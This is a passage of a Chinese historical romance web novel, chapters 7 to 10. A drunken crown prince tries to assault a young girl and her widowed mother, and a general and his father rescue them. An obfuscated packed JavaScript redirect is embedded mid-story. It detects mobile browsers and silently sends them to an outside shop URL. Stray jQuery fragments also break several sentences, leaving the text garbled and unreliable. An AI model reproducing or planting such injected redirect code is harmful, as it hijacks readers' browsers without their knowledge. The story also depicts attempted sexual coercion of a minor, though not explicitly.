突然这时，华姝惊喜望向他们身后。 7. 第 7 章 两人骇然转身，空无一人，这才意识到被骗了。 与此同时，华姝拉起霍凝雪，顺着林荫小路飞奔而逃。 烈日当空，两人纤薄的罗裙却浸满细密的汗珠。说不清楚的是被热的，还是被吓的。 但太子主仆身高马大，且有功夫在身，不消片刻就追上两个小姑娘的步子，“你个小丫头片子，胆敢戏耍于孤？按罪当斩！” 他心道，只要生米煮成熟饭，即便霍家父子赶到也是于事无补。 “郡主，你就藏在这别出来，我去引开他们。” 眼见，华姝手忙脚乱将霍凝雪推进转角的灌木丛，自己继续仓皇往前跑，胸脯气喘不迭。 她欲借花园地形，再寻一处藏身地。 虽然霍将军外出，但王爷行军多年，亦是识得此信号。 这烟花，是霍将军给她们的双重保障 再坚持会，等到王爷来救就安全了。 又或者，那人已经在赶回来的路上。 华姝努力为自己壮胆。奈何体力相差悬殊，不过三两个转弯即被追上。 她骇然转身，踉跄地跌倒在岩石上，逃无可逃，满腔绝望。 这一次，小白没法扑上来保护她了。 幸运，似乎再也不会降临了…… “跑啊，你怎么不跑了？” 眼瞧美人小脸苍白，太子就越兴奋。 酒气熏熏的微胖身形，背光遮天蔽日地笼罩出大片森寒的阴影，朝着手无缚鸡之力的娇小姑娘，急不可耐地倾压而下—— * 待客厅，屋后的连廊下。 官眷们的闲言碎语越说越不像话，孙氏不想给霍家父子招惹不必要的麻烦，就默默躲了出来，强忍着委屈与心酸独自消化。 好在她这些时日做派规矩，处处与霍宗飞避嫌，王府仆从们都相信她的为人。暖心的嬷嬷们得知后，忙中抽空前来劝道。 孙氏感动不矣，心情好了很多。 岂料这时！ “华夫人，王爷这会在何处？” 太子闯入花园后，另一守卫匆匆跑来前厅通禀。 “什么?!” 孙氏听后摇摇欲坠，险些昏倒。 姝儿是夫君留下来的唯一念想，更是她的命。今日她自己就是一头撞死在太子殿下面前，也决不能让姝儿有一丝一毫的意外。 孙氏匆忙吩咐人带守卫去通传，自己连同一众嬷嬷脚不沾地往后花园赶。 可是镇南王府的后花园太大了，她们跑进去，就像闯入一座迷宫。 几人急得像无头的苍蝇，团团乱转，“这么大，可该往哪去救人呐？” 恰是这时，天空忽然盛放起五颜六色的信号烟花，像是彩虹一般带了无限的希望。 正愁没方向的几人，不由大喜，毫不犹豫奔了过去。 谁知半路，被太子撞见！ * 彼此，太子正捂着右臂，骂骂咧咧走进湖边一处凉亭，“那小娘们瞧着软软嫩嫩，脾气倒不小。” 不经意抬眼，瞥见窗外一抹姝色。 娇俏妇人小跑而过，檀口轻喘，饱满胸脯起伏不定，瞧得他再度血脉喷张：“好俊的寡妇，难怪连霍宗飞都把持不住，去将她叫进来为孤泄火。” 亲卫随即出门，拦住孙氏。 只见他笑得亲厚：“华夫人来寻华姑娘的吧，她就在凉亭，您随我来。” “有劳您带路，姝儿她没事吧？” 孙氏关心则乱，瞧他是侍卫打扮，抬脚就欲进亭寻人。 好在嬷嬷们有经验，赶忙拉住她：“不对，他不是咱王府侍卫！” 然而就在这时，太子闪身而出，饥不择食地就伸手朝孙氏抱去—— “啊！” 事发突然，孙氏吓得花容失色，奋力挣躲。 嬷嬷们全力相护，但对方功夫强劲，三两下被踹倒一片。 明明是光天化日之下，阳光正盛。 但几个老嬷嬷疼痛难忍地趴在地上，从头到脚都渗出了阴寒。眼瞅着孙氏奋力挣扎却于事无补，最后半跪在地上，被一寸寸拖拽进凉亭。 “殿下且慢！” 幸好最后一刻，霍宗飞带人及时赶来 魁梧雄壮的高大身躯，宛若一座巍峨大山降临，让她们重获希望，都重重松了口气。 霍宗飞本在前厅与众官员，同陪太子畅饮。酒过三巡，太子提出如厕，一切看似如常。不曾想，没等到太子回席，倒是等来花园守卫。 不待心存侥幸，天空彩雾缭绕。 那是霍家独有的信号烟花，是他的女儿在向他求救！ 这个畜生，竟连十岁女童都想下手？ 霍宗飞拳头攥得嘎吱响，偏偏这醉鬼乃当朝储君。他强压怒火，黑脸质问：“太子殿下，小女如今人在何处？” 孙氏也一脸焦急地看过去。 侍卫刚刚来报，姝儿是跟郡主在一起。知道了郡主的位置，就相当于知道姝儿的下落。 * 几乎同一时辰里，城郊的茶馆后院 刀光剑影，横尸遍野，浓重的血腥味不甚刺鼻。 霍霆手持黄玉剑柄，于横七竖八的碎尸中，漠然笔挺而立。剑尖所染血液，还鲜红的冒着热气。 长缨从茶馆二楼的连廊，径直翻身而下，飞落在霍霆的身前，眉头紧锁：“禀将军，屋内床下有一条密道，那人被他逃了。” 霍霆闻言，面无表情下令：“追。抓活的……” “是信号烟花！” 突然这时，长缨骇然变色，指着对面的天空道：“将军，王府里的信号烟花，点燃了……” 信号烟花是他亲自送去的，今日二公子仍在书院上课，那点燃这烟花的指定是两位小姐。 没想到太子真敢在镇南王府动手，他这是真闲啊……嫌储君的位置太稳当了吧？！ 霍霆顺着他所指方向，骤然转身。 王府的方向，天幕正炸裂开一团五颜六色的彩色云雾，明亮得刺眼，浓郁地沉颤。 素来不太显露情绪的他，脸色罕见一沉，脱口而出：“撤！” 说罢，率先飞身上马，马蹄疾速到尘土飞扬数里，转瞬间消失在众人的视野里。 见状，长缨也毫不犹豫骑马跟上。 其余亲兵不解，拦住他确认：“那贼寇就不追了？这可是千载难逢的好机会，咱就这样放弃了？” 是啊，多好的机会，将军居然就放弃了？ 这算不算见色忘义……咳…… “没看到将军都回府了吗？赶紧跟上！” 长缨一脚踢开那人的手，随即勒紧缰绳，马鞭抽得飞快—— * 王府后花园 霍宗飞的质问，让太子颇为不耐地皱起眉。但忌惮来人身份，他终是变相示弱：“湖边喂鱼玩呢吧。” 霍宗飞悬着的心放下一半，随即命周管家带人去寻。 孙氏慌忙要跟上，却被太子一脚踩住裙角，“美人，孤可没准你走啊。” 孙氏如坠深渊，噗通跪地，“民妇一介寡妇，实在不配，还望太子殿下开恩呐。” 她焦灼看向霍宗飞。可王爷会为了非亲非故之人，忤逆太子吗？即便有意帮衬，也没资格同当朝储君说不。 果然，霍宗飞仅是转移话题：“殿下醉了，本王送您回房歇着。” 太子没动，“孤就要她伺候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745950|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他盘算着，拿捏住这寡妇，其女等会也不敢为那小郡主作证。霍宗飞吃了哑巴亏，必会放任这对母女不管。由着他将孤女寡母带回京，坐享齐人之福，可谓一举三得。 于是，太子加重语气：“怎么着，镇南王睡得这寡妇，本殿下就睡不得？” 此言一出，孙氏脸色煞白。 镇南王对亡妻珍重多年，素有贤名在外，岂能因她一个寡妇坏了清誉？ 果不其然，霍宗飞听见突如其来的污言秽语，不由眉头紧锁，没再言语。 孙氏无力瘫坐在地，耻于令恩人蒙羞 她定会抵死不从，可她死了，姝儿该怎么办…… “殿下误会了。” 忽然，霍宗飞重新开口，脸色肃沉：“本王与华夫人并非无媒苟合，是她亡夫临终托孤。本王已将孙氏收入房中，故而才交与她操持赏菊宴。” 众人愣在当场，包括太子。 要知道霍家世代出痴汉，先王妃故去后，霍宗飞多年守身如玉。谁都没料到，他竟真会袒护一寡妇？ 但太子反而更眼馋这寡妇的滋味了，简直是心痒难耐：“不过一个妾室，王爷让与孤又何妨？” “本王已允诺侧妃之位，来日生下一儿半女，就将她扶正。”霍宗飞面不改色道。 此乃他的权宜之计，专门应对太子借酒撒风。待其酒醒，碍于储君颜面总不好再硬抢。 这会四周几乎都是他的人，届时稍加解释，也不会有损华夫人的清誉。 不料，太子妃带着官眷们谈笑走来。 名为赏景，实则抓奸。太子酒后失德，损她脸面，但她会大方帮他纳新人。好名声有了，太子的亏欠也有了，可谓一举两得。 不过很快，太子妃笑不出来了。 “什么，太子爷要收了这寡妇？”堂堂丞相府嫡女，如何与寡妇共事一夫？ 她气得揪紧帕子，苦口相劝：“镇南王丧妻多年，难得遇到可心的人儿，太子爷不若就成人之美吧。” “轮得到你多嘴？”太子“啪”得一巴掌扇去，径直将她扇蒙。 同行官眷之前怎么讥讽孙氏，这会就怎么讥讽瞧着她。 太子妃当众颜面无存，将头埋在婢女肩头痛哭。唯恐再惹怒太子，只敢闷声啜泣。 太子这会正有新头好，哪管旧人哭？他指着孙氏，“来人，将她给孤带走。” 霍宗飞挡到孙氏身前，“还请殿下三思。” “放肆！”太子提高音量：“镇南王你想造反不成？” 这话，霍宗飞自然不便接茬。 但他身形，岿然不动。 当着众多官眷的面，太子自认丢不得脸，只得不依不饶。他甚至下令，命人直接动手拉开霍宗飞。 王府侍卫一听，纷纷拔刀护主。 气氛，顿时剑拔弩张。 孙氏跌坐在霍宗飞身后，将一切都瞧在眼里，急在心头。 她知道，霍宗飞并非真瞧上她了。而是霍家世代镇守边关，保护百姓的责任大义，已深深刻入他们骨血里。 可越是如此，她越不想恩人为难，更不想坏了夫君一世清誉、耽误女儿未来嫁人。 孙氏悲恸三思后，含泪叩谢：“多谢王爷大恩，只求您能替民妇照顾好姝儿。” 将女儿留在这般大义的人家，她到那边见到夫君，也算能有个交代。 霍宗飞反应一瞬：“你要做什么？！” 回应他的，已是孙氏咬紧牙关，朝着旁边凉亭狠狠撞去。 事情因她而起，那就因她而亡吧—— “铎！” 突然这时，一柄黄玉玄铁重剑，踏着阵阵冷寒的破空声，从天而降，稳稳拦在了她面前。 8. 第 8 章 偌大空旷的王府里，一道熟悉的清冷沉声，从人群后方紧随而至。 “我霍家世代手握重兵，若想造反，你此刻还有命说么？” 来人语速不急不缓，甚至未掺半分情绪。 但王府上下皆是精神一振：太好了，将军回府了！ 而太子听后，每一个字却像一把尖刀，划割着心弦。 因为霍霆有这份底气，更有这份血性 是开玩笑，还是造反前兆，全凭他一念之间。 太子僵硬转过身，望着款步走近的湖蓝色伟岸身影，满脸堆笑：“霍、霍将军，许久不见，别来无恙。” 霍霆没分给他一个眼神，环顾四处，“凝雪与华姝，现下人在何处？” 恰是这时，周管家护着霍凝雪折返：“启禀将军，老奴没有找到华小姐。” 霍凝雪扑进霍宗飞怀里，抽泣着说明经过，双眼通红怒瞪太子：“是他带走了华姐姐，都怪他！” 同时，另有人向霍霆禀明孙氏一事。 听完，霍霆有一瞬静默。 然后才看向太子。 狭长的凤眸，视线冰冷如刃，仿佛随时都能割开人咽喉。 吓得太子都忘记自称为孤，“我我我没动她，她自己跑到假山那，就不见了。” “假山旁边都是湖，莫非……” 不会浮水的孙氏，想都没想就从地上爬起来，慌忙冲向湖边方向。姝儿，你等着娘，娘这就来救你。 怎奈她急火攻心，昏倒在地，后被嬷嬷们抬回房。 相较之下，霍霆神情平稳如常：“你和她，谁拉响的信号？” 霍凝雪：“是我。” 众人满是不解，但长缨顿时大喜！ “华姑娘没再发信号，想来已脱身” 长缨与自家将军默契相视一眼，“属下这就去寻。” 说罢，他便飞身而起，朝假山方向快速前行。 一想到太子办的荒唐事，心里生了好一通闷气。 这不是添乱嘛！ 好好的岳母变继母，他家将军又要继续打光棍。过年眼瞅着都二十三了…… * 时辰倒回三刻钟之前 被太子压在身下刹那，华姝瞅准机会，拔下青木发簪，弹出银针，狠狠刺向其右臂。 这是父亲精雕细琢给她的十五岁生辰礼，能救人，也能防身。也是他送给她的最后一件礼物，华姝珍惜备至，始终戴在头上。 蒙亡父在天之灵保佑，她趁机逃脱。 而后辗转跑进假山，按动密室机关，藏入其中。 王府这密室，妙就妙在石门开阖时，毫无声响。 即便太子主仆紧随其后，也难察关窍。人就硬生生在眼皮子底下消失了，怎么都找寻不见，误以为她想不开跳湖，无趣离开。 华姝从孔缝中亲眼看他们走远，才敢口大气，瘫坐在地。 幽静阴冷的石室，回荡的喘气声，清晰而突兀。 她不自觉打量起密室，目光微有狐疑。于是轻敲了敲石壁，响起来的竟是“嗡嗡”沉闷回声，不同于石壁的清脆。 这莫非是，玄铁？ 如此心思精巧的工程，让华姝不由忆起霍家父子因密室而郑重叮嘱霍凝雪的情形。 与此同时，她眼前浮现出一道湖蓝身影掏出银锭、敲中密室机关的画面…… 华姝眸光微怔。 若他那日没那么做，她今日会怎样？ 答案显而易见—— 明知密室却躲不进来，生门变死路！ 华姝后知后觉：他当时是特意示范给她看的，以便遇险时有能力自保。 否则即便王府机关重重、不担心因她得知密室而失守，他又何必多此一举？ 心口倏地轻漾，忽然就暖暖的。 明明那人没在身边，却蓦地安心，好像这间石室包裹着她，保护着她。 他好像一直如此，教导方法，授她以渔，就像上次帮小白报仇那般。 “没人天生就该照顾另一人，也做不到时刻护在身旁。但姝儿可以学习他人所长，为自己所用。”这话，爹也曾教过她。 是同在军营的缘故吗？ 霍将军和父亲的想法，好相像啊…… 华姝短暂歇息后，再度透过孔缝望向外面。 一方面，她担心太子埋伏在旁守株待兔，不敢出去；一方面，她又担心霍凝雪被太子找到遭遇不测，想出去瞧瞧。 艰难纠结时，望见周管家带人护着霍凝雪离开，悬着的心才彻底放平。 担心被旁人发现假山的秘密，她特意等了会，才走出密室追上去。 却是远远听到背走孙氏的嬷嬷们说：“以后不可再唤华夫人，得尊称一声侧妃娘娘了。” 谁是侧妃娘娘？ 谁的侧妃娘娘？ 华姝如遭雷劈！ * 后花园 长缨走后，太子妃虽痛恨太子无德，但为了荣华尊贵，还是赔笑着出言相劝：“既然没造成伤害，霍将军，这事不若就算了吧。” “不能算！” 霍凝雪小嘴一瘪，哭着告状：“他不仅欺负华姐姐，还欺负我，还想打霍家军的主意。” 终于等来能撑腰的人，小姑娘再也无所顾忌，嚎啕大哭：“大哥，你要帮我和华姐姐报仇，打死这个大坏蛋，把他打成肉饼！” 此话一出，后方的竹林萧萧冷唳，似无风而动，肃杀一片。 太子妃猛地惊惧闭嘴。 这蠢货，居然敢对霍家军动歪脑筋？ 他不要命了，她还想活着回京呢！ 而太子更是不顾储君体面，径直躲到侍卫身后，“霍将军息怒，小孩子的话当不得真。” “原来，太子知道舍妹年纪小。” 霍霆甚是罕见地，轻 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王府仆从和侍卫们，看得分外解气。储君荒唐如此，日后何以护住天下黎民？ 若霍将军当真要反，他们誓死追随！ 忽然这时，“华姐姐。” 霍凝雪搂着霍宗飞的脖子，惊喜望向人群后方。 众人闻声，皆回头看去。 只见平日里明媚灵动的少女，此刻目光呆滞望着前方，像在看他们，又像不是。 阵阵寒风，将完好无损的米黄色衣裙，吹得皱巴而凌乱，映衬出纤薄衣料下娇小清瘦的轮廓，我见犹怜。 “你看，孤就说她没事吧？能跑能跳的。”太子极力为自己开脱。 “你闭嘴吧！” 霍凝雪头顶的小揪揪都气炸毛了。怒斥完太子，她一路小跑到华姝面前，小心翼翼向其招手，“华姐姐，你没事吧？华姐姐？” 少女瞳仁缓缓动了动，如梦初醒，转身头也不回地拔腿跑远。 “哎？”霍凝雪不解，看向父兄求助。 霍宗飞明了，华姝已听闻孙氏的事。 但他一时也不知，该怎么告知十岁女儿这场荒唐事，摇头叹口气：“等会这边事了，父王亲自去瞧瞧她。” 姝儿这孩子年幼丧父已是可怜，今日又舍身救下凝雪，懂事地更让人心疼，他也不希望她因太子的荒唐事受伤。 霍霆则定睛凝着，那抹米黄色娇小背影。 浓墨的长眸，逐渐恢复一惯浅淡。 他垂眸静默片刻，随后抬脚跟上去，也一并带走了森冷的厚重低压。 众人如释重负之余，恍然发觉他劲挺的后腰处，湖蓝锦袍突兀地殷红着一块。 将军竟受伤了，还没来得及包扎。 9. 第 9 章 华姝混混沌沌，毫无方向地朝前奔跑，两边的草木快速倒退。 逆着呼啸的秋风，她跑得筋疲力尽，却不敢停下。十五岁少女，企图用这样笨拙的方式，去逃避掉她无法接受的现实—— 娘改嫁了，她没有家了。 “小白，我好想你。” 华姝最后还是无意识地，钻进假山密室，这个黑暗却让她拥有一丝安全感的地方。 她缩坐在角落，好想像父亲去世时那般抱着小白偷偷哭一场。可小白不在了，娘以后也会成为别人的。 那她又该怎么办？ “小白，姐姐该怎么办？” 少女沉郁的嗓音，黯然喃喃自语，迷茫又无力。 满腔的酸涩与委屈，想哭却哭不出来。 都说恃宠而骄，受宠爱的孩子哭泣会有人哄，有人疼。可她已然毫无倚仗，露出脆弱又有何用？ 华姝将沉重的头埋进双膝，好想时光就永远静止在这一刻。 * 密室外的翠绿湖畔，晚荷亭亭而立。有风吹来，水波不清。 片刻后，水面倒映出一道湖蓝色修长身形。宽大柔顺的衣袂，同片片荷叶一起，随风摇晃。 他穿过林荫石子路，拾阶而上湖面拱桥，忽地顿住脚步，“出来。” 声音冷寒如冰。 “霍、霍将军好。” 有抹浅粉色罗裙，悻悻从旁边一排柏树后现身，走到桥头，盈盈一拜：“乔氏婉柔，见过霍将军。” “分管科考的员外郎，乔成是你父亲？” “正是家父，霍将军好记性。” 得知霍霆对父亲印象深刻，乔婉柔喜难自持，胆子越发变大，“婉柔适才发觉将军后腰有伤，恰是随身带有金疮药，特来相送。” 说话间，她掏出一小玉瓶递到他面前，雪腮绯红，目含秋波：“将军康健，大昭才能安定。此乃婉柔一点心意，还望您笑纳。” 先前听闻霍霆外出，加之有好色太子在，乔婉柔一直有意缩在人群中。而刚刚瞧见霍霆英勇逼人的气场后，她再难静候，一颗芳心全被带了过来。 想到他此刻心绪不佳，又有伤在身，乔婉柔自认这是天赐良机，必助她获得天赐良缘。 霍霆没接玉瓶，淡声道：“令尊在礼部任职，你在外一应礼数都代表他的门面。回去吧。” 乔婉柔愣住，脸颊依旧通红，却是羞愤涨红：“霍将军的意思是，是说我不知礼数？” 霍霆绕过她往前走，没答即是默认。 乔婉柔难以置信凝着他背影，不甘地跺跺脚，突然怒声吼道：“我再不知礼数，也知道朋友妻不可欺！” 突兀的高呼声响彻湖上，惊飞一片低空啄鱼的白水鹜。 也引起密室里，华姝的注意力。 情绪低落的她，迟钝反应几息，才透过孔缝往外看。望见湖面拱桥上，已经拉开一段距离的粉蓝两道身影。 朋友妻，是在说她娘? 什么叫“不可欺”，难道娘不是自愿改嫁给王爷? 是了，娘是昏迷中被嬷嬷背走的，都怪她光顾伤心，忽略事情全貌。 华姝蓦地站起身，想出去问个究竟，转而又迟疑地顿住脚……若真要与霍将军对峙，岂非恩将仇报？ 湖心桥上，霍霆漠然走开几步，忽而微微侧头。目光看似落在湖面，耳廓则是朝着假山方向。 几息后，“去将乔大人请来。” 他淡声吩咐完，走到拱桥另一头，假山北岸旁的石桌坐下。 闲庭信步模样，让华姝一度分辩不清，他到底因何来假山附近。 * 隐在暗处的长缨令行禁止，旋即去往前面待客厅，很快将礼部员外郎乔成请来。 桥上踱步半晌的乔婉柔，也磨磨蹭蹭跟来，被其父一顿痛斥：“为父平日是怎么教导你的？好生糊涂！” 乔成转而朝霍霆拱手赔罪，“都是下官教女无方，失礼惊扰到了将军，还望您宽恕。” “失礼是小，犯上为大。” 霍霆端坐于石凳上，漫不经心摩挲着左手腕上的白檀佛珠，缠有四圈，“令千金，似有意指点我父王如何为人。” “是小女失言，还往霍将军息怒！” 乔成骇人失色，砰地跪地。 “面对那位的逼迫，王爷这般实属无奈，已是能保全华夫人的最好法子了。”后花园的事他已有耳闻，由衷坦言道：“王爷今日之举，合乎礼法且道义高深……” 后面的恭维，华姝没有再听。 弄清事情始末后，她心中五味杂陈。 她万万没想到，太子居然对年长他十多岁的妇人下毒手！幸好王爷仁善，否则以娘对爹的感情，恐怕唯有死路一条。 华姝后怕又自责地攥紧衣摆，本来答应爹要照顾好娘的，可她没能做到。 指尖不经意触碰到腰间的红色信号烟花，自责更甚：如果将它给了娘，是不是一切就不会发生…… “不，不对。” 华姝渐渐止住抽泣。 霍将军将乔大人叫来附近谈及此事，其实是有意提点她：这事不该怪别人，太子才是罪魁祸首！大家心知肚明，也都尽了最大努力。 她这会该去陪着娘，娘肯定很难过，也很担心她。 华姝抬手抹干眼泪，重新努力振作。 确定外面无人后，走了出来。 西方橙红光茫万丈，像是苍天给予的莫大鼓舞，又似恍然间幻化出一道熟悉的伟岸身形。 这人能止小儿啼哭，也能让人化悲痛为力量。 她双眼弯弯，自己为自己打气：“事已至此，往前看，明天会更好。” 不曾想，走到湖心亭时，碰见了乔婉柔。 * 乔成训诫完女儿，就恭敬地陪着霍霆，往前面待客厅去了。 乔婉柔无颜跟随，就假意走慢些，留在这散心。 她闷了一肚子火气，正无处可撒。 见这华家孤女长得娇娇小小，两眼哭得红肿如兔子，心知是个好拿捏的，于是阴阳怪调道：“哟，那大狐狸精勾搭完人了，这小的又出来作妖咯。” 华姝心里惦记着孙氏，本不想与腌臜之人纠缠。正要从旁走过，却又听到：“可惜华大夫英年早逝。若他泉下有知，你们母女今日犯下这等丑事，估计得气得从坟里爬出来。” 慈父清明一生，华姝如何忍得了他亡魂受辱？ “你住口。” 她冷冷瞪向乔婉柔，娇声气得颤抖：“霍将军说得不错，你果然不知礼数。令尊分明已说清，你何必再在这胡搅蛮缠？” “你怎么会知道？” 乔婉柔脸色骤变：“你那会在旁边。可周围明明……” “这不重要。” 华姝意识到可 () { $(''.inform'').remove(); $(''#content'').append('' 能会泄露假山的秘密，慌忙打断对方，故作平静道：“重要的是，你该明辨是非，认清善恶。” 想到霍霆的教诲，慢慢真就镇定了下来。 目光炯炯，不卑不亢：“这世间从无道理，疯狗咬了人，反而怪罪受害者长满一身血肉。” 她嗓音天生娇软，但这话语却令乔婉柔如闻钟鸣，心神为之震荡。 不可否认，这世间芸芸众生，总有人要遭遇命运的不公。上位者恃强凌弱，他们没处说理，只能哑巴吃黄连。真相不能大白，施暴者不受惩处。但这并不代表着，真理就应当被改写。 可是，乔婉柔不允许自己被一介卑贱孤女教训，故意唱起反调：“这世间礼法，皆由尊者而定。” 她嘲弄地戳着华姝薄肩，“我为尊，你为卑，你就不配同我谈论大道理。” “那这话，你敢当众再说一遍吗？” 肩膀被戳痛，华姝顺势抓住她手，“走，我们去前厅。” “放开，你这个疯子。” 乔婉柔没料到华姝要将事情闹大，她才被接连训斥，这会死活不愿再当众出丑。 她使劲想抽回手，华姝攥住没放。 几番拉扯间，年长几岁的乔婉柔猛地用力一推，华姝不慎翻落桥下，疾速坠入寒秋湖水！ “噗通——” 水面溅起巨大的水浪，惊走一众游鱼和水鸟。 乔婉柔顿时傻眼。 “咳咳。”华姝一连呛了好几口水，纤细双臂在湖面奋力挣扎，艰难呼救：“我不会凫水，救我……” 乔婉柔反应过来后，第一时间是想找人求助的，奈何四处无人。等她去而复返，只怕人早已沉入水底。 仓皇间，她生出了一个细思极恐的想法。 “是你非要拉扯我的，是你自作自受！”乔婉柔念念叨叨撇清干系，一狠心，慌忙转身逃离。 “你别……别走……咳咳……” 唯一知情人越跑越远，挣扎在生死一线间的华姝，也越来越绝望。 不过片刻，冷凉湖水就湿透衣裙，冻得她瑟瑟发抖。身子愈加沉重，体力很快耗尽。 水位线从锁骨，到下巴，紧接没过唇鼻。冷水不停倒灌入肺，她开始呼吸艰难，视线也变得模糊。 最后一丝意识耗尽前，眼前闪过很多不舍的美好回忆。 有老顽童慈父，有温柔母亲，有傲娇又黏人的小白，还有那个令她又敬又怕的清冷身影…… 对了，信号烟花！ 她还有霍将军给的信号烟花！ 可泡过水后，它还能用吗？ 华姝不知道。 但本着对霍霆的莫名信任，她拼命攒出最后一点力道，将腰间的信号烟花举出水面，拉开关窍—— “砰！” 她彻底沉入水中。 两眼碧波茫茫，已看不见那像彩虹一般充满希望的五彩烟雾。眼皮沉重，视野缩成一条白线，转瞬陷入黑暗。 耳边只剩下浅浅的咕咚声。 霍将军会来救她吗？ 会像那日在清水县，如天神一般，再次降临来拯救她吗？ 昏死前，他貌似成了她最后牵挂。 不过，无论如何，她都祝他余生安好，好人该有好报。这样世间才能邪不压正，能明辨是非，道清黑白。 如果可以，也希望他能多笑笑，一生喜乐无忧…… 10. 第 10 章 十五岁这年，父亲死了。 华姝随母亲前往霍家，那个她从没踏足的，未婚夫婿的家。 其实不算真正的未婚夫，母亲婉拒了那人的提亲，说不想因为父亲的事让她急匆匆就嫁人。 那个男人没再坚持，也没生气，考虑到她们孤女寡母容易遭受欺凌，还主动提出让她们先来府上小住。 这是华姝路过窗外，偶然听得。 不过，她准备装作不知道。毕竟让她一个刚及笄的小姑娘，主动朝那个仅几面之缘的男人喊“未婚夫”，光是想想，就让她小脸……发白。 是的，不是害羞。 是害怕…… “姝儿，咱们到了。”母亲提醒她。 华姝收回思绪，先走下马车，再扶母亲下车。 映入她们眼帘的，是比华家足足大了三倍的红墙灰瓦建筑。是在偏远的秀清县，从不曾见的恢弘壮阔，令人震撼。 八月初秋的午后，天空飘着零星秋雨，烫金的“镇南王府”御赐牌匾，就掩映在青柏雨帘后。 霍氏世代镇守大昭国的东南边境，以赫赫军功，获得世袭罔替的异姓王尊荣。 王府管家带着十数位小厮和丫鬟，出门相迎：“老奴见过华夫人和华小姐。” 应是得主子叮嘱过，态度恭敬。让人生地不熟、寄人篱下的她们，稍稍松口气 沿着郁葱矮木的青石板路，华姝母女被一路带到主院的东厢房落座。 “王爷这会有要务处理，劳烦华夫人和华小姐稍坐。”管家解释完后，躬身站到门口。丫鬟们鱼贯悄声而入，端来各色精致茶点和水果，动作整齐划一。 茶香很好闻，但华姝叫不出名字。能认出的马蹄糕和柚子，九月才见市，八月这时候都是稀罕物件。而华家每年九月，也只是吃些山楂和脆柿子。 瞧着面前的白玉茶盏和青玉果盘，华姝坐在金丝楠木椅上，局促地一动未动。 她不自觉忆起那道素白高大的身影。好像恍然明了，他是如何经年累月地养成矜贵而疏冷的气质。 那位她在秀清县曾有幸得见的，镇南王府世子，霍霆。 *数日前* 整个华家笼罩在一片哀哀的哭声中。华父行医救人无数，来吊唁的人颇多。 华姝身着素白孝服，含泪拼命跑进灵堂，摔在地上好似破碎的布娃娃，“救命，救救我……” 紧接着，华良急赤白脸地从后院追进来。环顾众人一圈，转瞬变回儒雅姿态。 他抢先一步，苦口婆心劝说：“姝儿，二叔知道你这会难过，但我也是为咱家好。大哥不明不白溺水在半路，保不准另有隐情。早些去县衙备案，日后万一事发，县太爷也能酌情宽大处理。” “你怎么能颠倒黑白呀？” 眼看街坊们信以为真，也开始劝说她，华姝又气又急，浑身发抖。 慈父突然离世，母亲悲伤过度昏倒，她本就悲恸又无助。今日见到华良时，她特别欢喜。他与父亲手足情深，日后她们孤女寡母也算稍有倚仗。 怎料，“赶紧带你娘走，越快越好！我从官差朋友那得知，你爹并非意外溺水身亡，是犯下大错自裁谢罪！” 他故意恐吓紧张，让她们母女来不及弄清真相就走，落下弃亡人不管不顾的话柄，届时再想从他手中夺回家产就难了 被她看穿谎言，华良恼羞成怒，想打晕她强行带走，再卖进窑子。多亏家养的小白猫，不要命似的扑上去挠他，为她争取到逃来灵堂的机会…… 华姝哽咽着向众人道出真相。 奈何华良平日装得太好，教书育人无数，深受清秀县的人尊敬。尤其他还不经意似的露出血淋淋手背。 街坊们面面相觑，谁都没说话。 这一刻，华姝无助极了。她攥紧孝服下摆，强忍咽下酸涩泪水。 不要慌。 不能哭。 爹说过，眼泪解决不了问题。 她得想办法：“那你敢对我爹发毒誓吗？谁说谎谁不得好死！” 华良愣了下，但姜是老的辣，他巧妙转移话题：“那你说，大哥放着好好的军医不当，大半年不着家，是不是事实？ “……”华姝双手垂落，无力反驳。 父亲半年前好端端辞去军医的差事，还不肯说缘由，娘为此哭了大半日。 她相信父亲为人，可辞官是事实。 怎么办？ 她该如何护住父亲的清白？ 又该如何戳破华良的伪善？ “不是事实。” 就在这时，灵堂朝南的正门方向，传来一道陌生的低沉男音。 华姝下意识回身看去，来人身形高大，几乎遮尽门口的日光，整个人湮没在晦暗的阴影中。 依稀可见，他墨发玉冠，俊美如铸。长身玉立于萧萧秋风中，衣摆翩飞的广袖，衬得气质越发肃寒。 华姝不自觉僵住，心尖发紧，一度忘记追问他话中的含义。 这世上，怎么会有如此可怕的人？ 他长得不凶，但极冷。 冷得吓人…… “你是何人，胆敢在此生事？” 或许是见他只着一袭简朴的缟素，华良将他当成了寻常来吊唁的，言语轻蔑。 “睁大你的狗眼！”其身后的侍卫，厉声训斥：“这是镇南王世子，执掌十万兵将的霍霆将军。” 这话一出，众人不约而同跪倒一片，虔诚而恭敬高呼：“草民拜见霍将军，霍将军万福！” 唯独华姝愣在原地。 霍将军…… 是父亲在虎啸营当军医时，效忠的那位霍将军吗？ 是了，按照大昭国的礼数，百姓们见到皇室和亲王才需下跪。但她听父亲说过，唯有霍将军不靠出身，单凭自身功绩，就能让百姓甘心低头屈膝。 二十出头的弱冠之龄，已是大昭国的脊梁。但凡有他在，天就不会塌。 华姝心生欢喜，顾不得行礼，就像见到救命稻草似的，小跑着迎上前。 扑面袭来的压迫感让她怯怯驻足，可为着父亲她还是鼓足勇气，小心翼翼软声询问：“将军知晓我爹的死因？” 男人淡淡俯看她，并未回应。狭长的黑眸冰凛如刃，看得她紧张到喉头干涩。 她忍不住地后退一步，正手足无措时，意外听得他开口：“你父亲生前所行秘事，为国为民，死得重于泰山。” “……那就好，那就好。” 她就知道，父亲绝非败德辱行之辈 华姝心口巨石终于落地，满怀感激，朝他盈盈跪拜，“多谢将军帮我爹正名，让他清白一生，也能清白离世。” 一只有力的冷凉大手，先行抵住了她手臂，又分寸得当地一触即离。 他说：“英烈后人，无需跪我。” 语声轻淡，却稳稳安了她的心，同时重重扇了街坊和华良一巴掌。 